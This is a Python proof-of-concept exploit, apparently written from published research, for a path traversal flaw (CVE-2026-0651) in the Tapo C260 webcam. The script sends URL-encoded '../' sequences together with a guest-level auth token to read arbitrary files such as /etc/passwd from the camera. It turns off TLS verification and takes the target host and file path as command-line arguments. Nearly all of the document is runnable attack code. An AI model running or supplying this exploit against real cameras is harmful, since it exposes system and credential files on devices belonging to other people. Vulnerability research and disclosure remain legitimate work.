#!/usr/bin/env python3 """ Tapo C260 Local File Disclosure — CVE-2026-0651 The camera's HTTP GET handler concatenates user-supplied paths onto /www without sanitizing path traversal sequences. URL-encoding ../ as %2e%2e%2f bypasses any naive string checks, and the only function between path construction and stat()/open() is a URL decoder. Requires local network access and a valid stok auth token (guest-level works). Research by Eugene Lim (@spaceraccoon): https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/ """ import argparse import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TRAVERSAL_PREFIX = "%2e%2e%2f" TRAVERSAL_DEPTH = 5 def read_file(host: str, token: str, filepath: str, depth: int = TRAVERSAL_DEPTH) -> str | None: traversal = TRAVERSAL_PREFIX * depth encoded_path = filepath.lstrip("/").replace("/", "%2f") url = f"https://{host}/stok={token}/{traversal}{encoded_path}" try: r = requests.get(url, verify=False, timeout=10) if r.status_code == 200 and r.text: return r.text return None except requests.RequestException as e: print(f"[-] Request failed: {e}", file=sys.stderr) return None def main(): parser = argparse.ArgumentParser( description="Tapo C260 LFD — read arbitrary files via path traversal (CVE-2026-0651)" ) parser.add_argument("--host", required=True, help="Camera IP address") parser.add_argument("--token", required=True, help="stok auth token") parser.add_argument("--file", required=True, help="Absolute path to read (e.g. /etc/passwd)") parser.add_argument("--depth", type=int, default=TRAVERSAL_DEPTH, help="Traversal depth (default: 5)") parser.add_argument("-o", "--output", help="Write output to file instead of stdout") args = parser.parse_args() print(f"[*] Reading {args.file} from {args.host}...", file=sys.stderr) content = read_file(args.host, args.token, args.file, args.depth) if content is None: print("[-] No content returned — file may not exist or token is invalid", file=sys.stderr) sys.exit(1) if args.output: with open(args.output, "w") as f: f.write(content) print(f"[+] Written to {args.output}", file=sys.stderr) else: print(content) if __name__ == "__main__": main()